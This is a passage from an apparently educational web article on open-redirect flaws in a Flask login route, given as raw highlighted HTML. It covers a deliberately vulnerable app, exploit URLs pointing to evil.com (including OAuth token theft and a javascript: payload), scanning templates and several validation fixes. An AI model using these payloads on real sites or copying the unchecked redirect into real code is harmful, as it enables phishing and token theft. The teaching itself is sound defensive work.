&lt;/span&gt;        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;next_url&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="nf"&gt;url_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dashboard&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid credentials. Try again.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/dashboard&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;dashboard&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Welcome to the Dashboard! You&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;re logged in.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run it with &lt;code&gt;python vulnerable_app.py&lt;/code&gt; and visit &lt;code&gt;http://localhost:5000&lt;/code&gt;. Click the login link—after "logging in," it redirects to &lt;code&gt;/dashboard&lt;/code&gt; harmlessly. But notice the &lt;code&gt;?next=&lt;/code&gt; parameter? That's our entry point for chaos.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Core Flaw Dissected
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;request.args.get("next")&lt;/code&gt; pulls the query param without sanitization.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;redirect(next_url)&lt;/code&gt; sends an HTTP 302 with &lt;code&gt;Location: &amp;lt;user_input&amp;gt;&lt;/code&gt;, letting the browser follow anywhere.&lt;/li&gt;
&lt;li&gt;No checks for scheme (http/https), domain, or even if it's a URL at all.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pro tip: In production, always log redirects for auditing—Flask's logger can help: &lt;code&gt;app.logger.warning(f"Redirecting to: {next_url}")&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploiting Open Redirect: Attack Vectors in Action
&lt;/h2&gt;

&lt;p&gt;Exploitation is straightforward but sneaky. Attackers distribute the malicious link via email, SMS, or social media. Here's how it plays out.&lt;/p&gt;

&lt;h3&gt;
  
  
  Basic Exploitation
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Craft the Payload&lt;/strong&gt;: &lt;code&gt;http://localhost:5000/login?next=https://evil.com/phish&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Victim Interaction&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Victim clicks → Sees legit login page (address bar shows &lt;code&gt;localhost:5000/login?...&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Enters creds → Submits form.&lt;/li&gt;
&lt;li&gt;Server responds with &lt;code&gt;Location: https://evil.com/phish&lt;/code&gt; → Browser jumps there.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attacker Wins&lt;/strong&gt;: Victim is now on a phishing page that looks like your app, primed to steal more data.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Test it: Swap &lt;code&gt;evil.com&lt;/code&gt; for &lt;code&gt;https://example.com&lt;/code&gt; (harmless) and watch the redirect in your browser's Network tab.&lt;/p&gt;

&lt;h3&gt;
  
  
  Advanced Scenarios
&lt;/h3&gt;

&lt;p&gt;Open Redirects shine in combos. Let's explore:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OAuth Token Theft&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In apps using OAuth (e.g., "Login with Google"), the callback might redirect via &lt;code&gt;?redirect_uri=...&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Attacker: &lt;code&gt;yourapp.com/oauth/callback?redirect_uri=https://evil.com/steal-token&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Flow: User authorizes → Token sent to callback → Redirect leaks token to evil.com.&lt;/li&gt;
&lt;li&gt;Real-world: Facebook's 2018 OAuth bug let attackers steal access tokens this way.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Bypassing Content Security Policy (CSP)&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CSP blocks inline scripts, but redirects can load external resources indirectly.&lt;/li&gt;
&lt;li&gt;Attacker embeds the open redirect in an iframe or link, smuggling malicious JS.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Phishing with URL Obfuscation&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use data URLs: &lt;code&gt;?next=javascript:alert('XSS!')&lt;/code&gt; (if JS execution is allowed post-redirect).&lt;/li&gt;
&lt;li&gt;Or protocol-relative: &lt;code&gt;?next=//evil.com&lt;/code&gt; (adapts to http/https seamlessly).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SSRF (Server-Side Request Forgery) Twist&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If your redirect fetches the URL server-side (rare, but possible), it could probe internal networks.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To simulate: Use tools like &lt;code&gt;curl -v http://localhost:5000/login?next=https://evil.com -d "username=admin&amp;amp;password=password123"&lt;/code&gt; and inspect the &lt;code&gt;Location&lt;/code&gt; header.&lt;/p&gt;

&lt;h3&gt;
  
  
  Detection Tools
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Burp Suite/ZAP&lt;/strong&gt;: Intercept requests and fuzz the &lt;code&gt;next&lt;/code&gt; param.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nuclei/Yarn&lt;/strong&gt;: Scan for open redirects with templates like &lt;code&gt;{{BaseURL}}/login?next=http://{{interactsh-url}}&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Fixing It: From Basic to Battle-Hardened
&lt;/h2&gt;

&lt;p&gt;The fix? &lt;strong&gt;Validate, validate, validate&lt;/strong&gt;. Never redirect to untrusted turf. Here's an evolving approach.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Basic Internal-Only Check
&lt;/h3&gt;

&lt;p&gt;Use &lt;code&gt;urlparse&lt;/code&gt; to whitelist your domain. Update the login route:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib.parse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urlparse&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;url_for&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_safe_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allowed_hosts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;allowed_hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;allowed_hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;  &lt;span class="c1"&gt;# e.g., 'localhost:5000'
&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

    &lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;netloc&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;allowed_hosts&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;netloc&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;  &lt;span class="c1"&gt;# Relative paths OK
&lt;/span&gt;
&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# ... (auth logic same as before)
&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="n"&gt;next_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;next&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;next_url&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="nf"&gt;is_safe_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;next_url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;next_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;url_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dashboard&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# Fallback to safe internal page
&lt;/span&gt;    &lt;span class="c1"&gt;# ... (else clause)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;How it Works&lt;/strong&gt;: Strips to netloc (domain:port). Relative URLs (e.g., &lt;code&gt;/dashboard&lt;/code&gt;) parse to empty netloc—safe.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test&lt;/strong&gt;: &lt;code&gt;?next=https://evil.com&lt;/code&gt; → Blocked, falls back to dashboard. &lt;code&gt;?next=/profile&lt;/code&gt; → Allowed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 2: Advanced Whitelisting and Edge Cases
&lt;/h3&gt;

&lt;p&gt;For production, level up:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib.parse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urljoin&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_safe_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url_root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allowed_domains&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;allowed_domains&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;allowed_domains&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;yourdomain.com&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;www.yourdomain.com&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="c1"&gt;# Your allowlist
&lt;/span&gt;
    &lt;span class="c1"&gt;# Reject non-URLs or suspicious schemes
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;^https?://&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

    &lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Block javascript:, data:, etc.
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scheme&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

    &lt;span class="c1"&gt;# Relative URL? Resolve against base
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;netloc&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urljoin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Check domain
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;netloc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;www.&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;allowed_domains&lt;/span&gt;  &lt;span class="c1"&gt;# Normalize www.
&lt;/span&gt;
&lt;span class="c1"&gt;# In login route:
&lt;/span&gt;&lt;span class="n"&gt;next_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;next&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;next_url&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="nf"&gt;is_safe_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;next_url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;next_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Extras&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Allowlist Over Denylist&lt;/strong&gt;: Explicitly permit &lt;code&gt;yourdomain.com&lt;/code&gt; variants.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scheme Enforcement&lt;/strong&gt;: Force HTTPS to avoid downgrade attacks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Path Validation&lt;/strong&gt;: Add &lt;code&gt;and '/admin' not in parsed.path&lt;/code&gt; to block sensitive areas.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rate Limiting&lt;/strong&gt;: Use Flask-Limiter on login to thwart brute-force link spam.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 3: Framework Best Practices
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Flask-Specific&lt;/strong&gt;: Use &lt;code&gt;url_for()&lt;/code&gt; for all internal links—it's safer than hardcoding.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Session-Based Redirects&lt;/strong&gt;: Store intended URL in session pre-login, retrieve post-auth (avoids query param altogether).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTTP Headers&lt;/strong&gt;: Set &lt;code&gt;X-Frame-Options: DENY&lt;/code&gt; and CSP to limit embedding.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OWASP Cheat Sheet&lt;/strong&gt;: Follow their &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html" rel="noopener noreferrer"&gt;Unvalidated Redirects&lt;/a&gt; for more.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Real-World Examples and Lessons
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Google (2014)&lt;/strong&gt;: A &lt;code&gt;?continue=&lt;/code&gt; param in Google Accounts allowed redirects to arbitrary sites, fixed via domain checks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Facebook (Ongoing)&lt;/strong&gt;: Repeated OAuth redirect bugs led to token leaks; now they enforce strict &lt;code&gt;redirect_uri&lt;/code&gt; validation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stats&lt;/strong&gt;: Veracode's 2023 report shows Open Redirects in 5% of scanned apps—low severity, but 20% lead to high-impact chains.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Big takeaway: Even giants slip up. Audit your redirects with &lt;code&gt;grep -r "redirect(" .&lt;/code&gt; in your codebase.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hands-On Lab: Test and Tweak
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Run the vulnerable app.&lt;/li&gt;
&lt;li&gt;Exploit with a phishing sim (use &lt;code&gt;http://httpbin.org/redirect/3&lt;/code&gt; as "evil").&lt;/li&gt;
&lt;li&gt;Apply the fix, re-test.&lt;/li&gt;
&lt;li&gt;Bonus: Add WTForms for input validation or integrate with Flask-Security for auth.
## Result Screenshots&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftsxmuert5hwvjho4g9vi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftsxmuert5hwvjho4g9vi.png" alt=" " width="800" height="417"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn4a16geylathnaky8wv9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn4a16geylathnaky8wv9.png" alt=" " width="426" height="33"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2tsqh2arse2438wot80s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2tsqh2arse2438wot80s.png" alt=" " width="414" height="544"&gt;&lt;/a&gt;&lt;br&gt;
